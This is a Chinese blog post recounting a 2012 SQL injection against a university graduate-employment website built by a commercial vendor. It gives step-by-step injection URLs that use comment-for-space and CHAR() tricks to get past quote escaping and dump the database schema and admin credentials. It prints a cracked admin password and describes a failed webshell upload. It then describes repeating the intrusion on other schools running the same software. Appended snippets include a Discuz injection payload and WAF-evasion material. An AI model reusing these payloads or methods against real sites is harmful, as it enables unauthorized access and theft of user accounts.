2012年的一次sql注入(纯属技术研究,非攻击行为)

1.   收集信息

花了挺长时间来浏览job.xxx.edu.cn,这里只写后边入侵会用到的一些信息,这个网站是深圳某科技公司做的,在首页的登录窗口部分有三种人员,分别是用人单位、毕业生和管理员。

使用Acunetix扫描job. xxx.edu.cn,扫出在/index_department.php页面存在SQL注入漏洞。

虽然Acunetix扫描出dep_id和gradyear两个参数都存在SQL注入漏洞,但后来经过实际测试,只有dep_id可以利用。

Acunetix还扫描出存在phpinfo.php文件,可以看到PHP是5.2.10版本,magic_quotes_gpc选项是开启的,也就是说‘(单引号)、"(双号号)、\(反斜线)、空白字符等特殊的符号都将被转义。

2.   利用漏洞

从错误信息可以看到后台数据库是MySQL。

http://job.xxx.edu.cn/index_department.php?gradyear=2012&self_action=1&action_code=0&name_find=&dep_id=1‘‘‘

使用order by语句猜列数,在4的时候正确5的时候出错说明有4列,由于空格会被转义,这里使用注释符号/**/代替空格,使用#号来注释掉之后的语句,由于直接在浏览器中输入#号会被解释为空格,因此这里使用#号的ASCII值。

http://job.xxx.edu.cn/index_department.php?gradyear=2012&self_action=1&action_code=0&name_find=&dep_id=100/**/order/**/by/**/5%23

查看MySQL中有哪些数据库,这里用到了MySQL5.0版本之后才添加的系统数据库INFORMATION_SCHEMA。可以看到除了INFORMATION_SCHEMA只有一个job_xxx数据库。

http://job.xxx.edu.cn/index_department.php?gradyear=2012&self_action=1&action_code=0&name_find=&dep_id=100/**/union/**/select/**/1,SCHEMA_NAME,3,4/**/from/**/INFORMATION_SCHEMA.SCHEMATA/**/%23

查看job_xxx中有哪些表。由于单引号被转义,这里使用char函数绕过,括号内的一串数字是job_xxx对应的ASCII值。

http://job.xxx.edu.cn/index_department.php?gradyear=2012&self_action=1&action_code=0&name_find=&dep_id=100/**/union/**/select/**/1,table_name,3,4/**/from/**/INFORMATION_SCHEMA.TABLES/**/where/**/table_schema/**/=/**/char(106,111,98,95,...)/**/%23

在job_xxx数据库中有几个用户相关的表:school_user,com_users,std_bases,在看到这几个表的时候就感觉可能是对应的是登录窗口对应的三种用户。

查看school_user表中有哪些列。

http://job.xxx.edu.cn/index_department.php?gradyear=2012&self_action=1&action_code=0&name_find=&dep_id=100/**/union/**/select/**/1,column_name,3,4/**/from/**/INFORMATION_SCHEMA.columns/**/where/**/table_name/**/=/**/char(115,99,104,111,111,108,95,117,115,101,114)/**/%23

看到了令人兴奋的user_name和user_password,查一下吧!

http://job.xxx.edu.cn/index_department.php?gradyear=2012&self_action=1&action_code=0&name_find=&dep_id=100/**/union/**/select/**/1,user_name,user_password,4/**/from/**/school_user%23

这个表里存的是管理员账户信息,第一个就是最高权限的admin,密码是MD5加密的,在cmd5.com网站上查出密码是yuwei162372,使用这个用户名和密码成功登录该系统。

至此,已经可以得到所有用户的用户名、密码。本想进一步上传webshell控制整台服务器,但上传的文件都被去掉了后缀名,只好放弃了。

3.  扩大战果

在收集信息阶段,知道了网站是由深圳某科技公司开发,在该公司主页上看到还有其他多所学校也使用了该公司的系统。另外在学校就业网站的在线咨询栏也有该软件使用学校的提问,点进去之后就是学校列表。

以xxx师范学院为例,入侵过程基本一样,只有在查用户表的时候遇到了一个编码问题,google之后轻松解决。

http://xxx.yyy.com/index_department.php?gradyear=2012&self_action=1&action_code=0&name_find=&dep_id=100/**/union/**/select/**/1,binary(user_name),binary(user_password),4/**/from/**/school_user%23

4.  总结

在利用漏洞阶段,由于单引号被转义,构造的SQL语句中字符串需用char函数加ASCII值的方式,查一个字符串的每个字符的ASCII值很费时间,有时可以用一些函数代替字符串。比如database()代替job_cqupt。

在确认SQL注入漏洞可以利用之后,可以使用工具提高入侵的效率,比如Havij、Pangolin等。

在这次入侵过程中,发现了一些很好的资料,也记在这里:

  • 《The Web ApplicationHackers’ Handbook》(中译本《黑客攻防技术宝典·Web实战篇》),全面分析了Web应用程序的安全漏洞,绝对值得一看的好书。
  • 暗组论坛的《详细mysql注入》,非常详细的好文,搞不定的时候多读几遍本文,看看是不是遗漏了什么。
  • 《SQL Injection with MySQL》和《Advanced SQL Injectionwith MySQL》,由安全组织“安全天使”的angel所写,很老的文章但是把原理讲得很清楚。
时间: 2024-10-14 06:29:13

2012年的一次sql注入(纯属技术研究,非攻击行为)的相关文章

discuz 7.2 faq.php sql注入的一点研究

6.2号(可能更早)看到网上这个exp,是一个discuz 7.2的sql注射漏洞 经过多番考证,网上多数exp中都存在这些或者那些的问题,我自己利用和修改后总结,利用方法如下: Discuz 7.2 /faq.php SQL注入漏洞 1.获取数据库版本信息 faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(r

java 防止sql注入的方法(非原创)

一.SQL注入简介 SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编程时的疏忽,通过SQL语句,实现无帐号登录,甚至篡改数据库. 二.SQL注入攻击的总体思路 1.寻找到SQL注入的位置 2.判断服务器类型和后台数据库类型 3.针对不通的服务器和数据库特点进行SQL注入攻击 三.SQL注入攻击实例 比如在一个登录界面,要求输入用户名和密码: 可以这样输入实现免帐号登录: 用户名: ‘or 1 = 1 – 密 码: 点登陆,如若没有做特殊处理,那么这个

SQL注入(四)

参数绑定(预编译语句) 虽然数据库自带的过滤是个不错的实现,但是我们还是处在“用户输入被当成 SQL语句的一部分 ”这么个圈子里,其实要跳出这个圈子还有一个实现,就是参数绑定.基本上所有的主流数据库都提供这种接口.这种方法提前预编译了SQL语句的逻辑,然后对 参数预留了位置(就是“ ?1  ?2” 这种的).这样语句在执行的时候只是按照输入的参数表来执行. Perl环境的例子: $sth = $dbh->prepare("SELECT email, userid FROM members 

基于时间的 SQL注入研究

SQL注入攻击是业界一种非常流行的攻击方式,是由rfp在1998年<Phrack>杂志第54期上的"NT Web Technology Vulnerabilities"文章中首次提出的.时过境迁,相关SQL注入的技术和工具都进行了不断的发展和演化.目前 SQL注入漏洞已经是信息安全的一大领域,无论是小到个人网站,还是大到电子商务网站,都或多或少的存在SQL注入漏洞.为什么SQL注入漏洞会屡禁不止,原因就在于要想防御SQL注入漏洞,需要对SQL语句.业务流程行为.各种主流数据

利用SQL注入漏洞登录后台的实现方法 。。。。转载

一.SQL注入的步骤 a) 寻找注入点(如:登录界面.留言板等) b) 用户自己构造SQL语句(如:' or 1=1#,后面会讲解) c) 将sql语句发送给数据库管理系统(DBMS) d) DBMS接收请求,并将该请求解释成机器代码指令,执行必要的存取操作 e) DBMS接受返回的结果,并处理,返回给用户 因为用户构造了特殊的SQL语句,必定返回特殊的结果(只要你的SQL语句够灵活的话). 下面,我通过一个实例具体来演示下SQL注入 二.SQL注入实例详解(以上测试均假设服务器未开启magic

2015-9-28 SQL注入攻击

SQL注入攻击实例 (1)SQL命令插入到Web表单的输入域  或   页面请求的查询字符串,欺骗服务器执行恶意的SQL命令 一个简单的登录页面 private bool NoProtectLogin(string userName, string password) { int count = (int)SqlHelper.Instance.ExecuteScalar(string.Format ("SELECT COUNT(*) FROM Login WHERE UserName='{0}'

深入了解SQL注入绕过waf和过滤机制

知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 0x05 本文小结 0x06 参考资料 0x00 前言 笔者前几天在做测试时输入攻击向量后页面发生了重定向甚至异常输入也是重定向怀疑其中有WAF在作怪.之前对WAF接触比较少纯粹是新手趁此科普了一下并查阅了一些绕过WAF的方法.所找到的资料中主要分为两类SQL注入和XSS绕过笔者SQL注入同样是新手

【转】深入理解SQL注入绕过WAF和过滤机制

原文 http://www.cnblogs.com/r00tgrok/p/SQL_Injection_Bypassing_WAF_And_Evasion_Of_Filter.html [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 本文小结 0x6 参考资料 0x0 前言 促使本文产生最初的动机是前些天在做测试时一些攻击向量被WAF挡掉了,而且遇到异常输入直接发生重定向.之前对W

SpringMVC利用拦截器防止SQL注入

springMVC防SQL注入的讲解,慕课网笔记 http://www.imooc.com/article/6137 Spring MVC防御CSRF.XSS和SQL注入攻击,博客园笔记 http://www.cnblogs.com/Mainz/archive/2012/11/01/2749874.html